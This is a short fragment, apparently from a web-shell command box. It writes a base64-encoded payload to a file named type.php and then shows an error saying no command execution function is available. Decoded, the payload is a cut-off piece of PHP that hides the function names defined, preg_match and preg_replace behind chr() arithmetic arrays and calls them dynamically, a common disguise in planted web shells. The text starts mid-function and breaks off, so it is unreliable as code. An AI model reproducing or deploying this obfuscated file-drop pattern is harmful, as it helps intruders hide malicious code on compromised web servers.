ICRwKCRvKTsKfQoKZnVuY3Rpb24ga3luKCRtKQp7CiAgICAkbyA9IGFycmF5KDQ0ICogMiArIDEyLCAzMSArIDM5ICsgMzEsIDIgKiA1MSwgMjIgKiAxICsgODMsIDMxICsgNzksIDEwNCAtIDMsIDQ1ICogNzMgLSAzMTg1KTsKICAgICRyID0gJyc7CiAgICBmb3JlYWNoICgkbyBhcyAkaykgewogICAgICAgICRyIC49IGNocigkayk7CiAgICB9CiAgICByZXR1cm4gJHIoJG0pOwp9CgpmdW5jdGlvbiBvYnEoLi4uJGd4KQp7CiAgICAkYiA9IGFycmF5KDM2ICogMiArIDQwLCA1OCAqIDEgKyA1NiwgMTA5IC0gOCwgNCAqIDc3IC0gMjA1LCA5MyAqIDk3IC0gODkyNiwgMTA5LCAzMSAqIDE2IC0gMzk5LCA4MiAqIDEyIC0gODY4LCAyICogMzQgKyAzMSwgNzcgKyAyNyk7CiAgICAkeCA9ICcnOwogICAgZm9yZWFjaCAoJGIgYXMgJGopIHsKICAgICAgICAkeCAuPSBjaHIoJGopOwogICAgfQogICAgcmV0dXJuICR4KC4uLiRneCk7Cn0KCmZ1bmN0aW9uIGRndyguLi4kYmgpCnsKICAgICR0ID0gYXJyYXkoMzEgKiAxICsgODEsIDExNCwgNSArIDQyICsgNTQsIDEwOCAtIDUsIDk1LCAyICogNTcsIDEzICogMyArIDYyLCA1OCArIDI5ICsgMjUsIDY1ICsgNDMsIDEwNCAtIDcsIDMgKiAzMywgMTAxICogMSk7CiAgICAkeSA9ICcnOwogICAgZm9yZWFjaCAoJHQgYXMgJHcpIHsKICAgICAgICAkeSAuPSBjaHIoJHcpOwogICAgfQogICAgcmV0dXJuICR5KC4uLiRiaCk7Cn0K" | base64 -d > type.php 2>&1 No supported command execution function is available. ";
Save
Cancel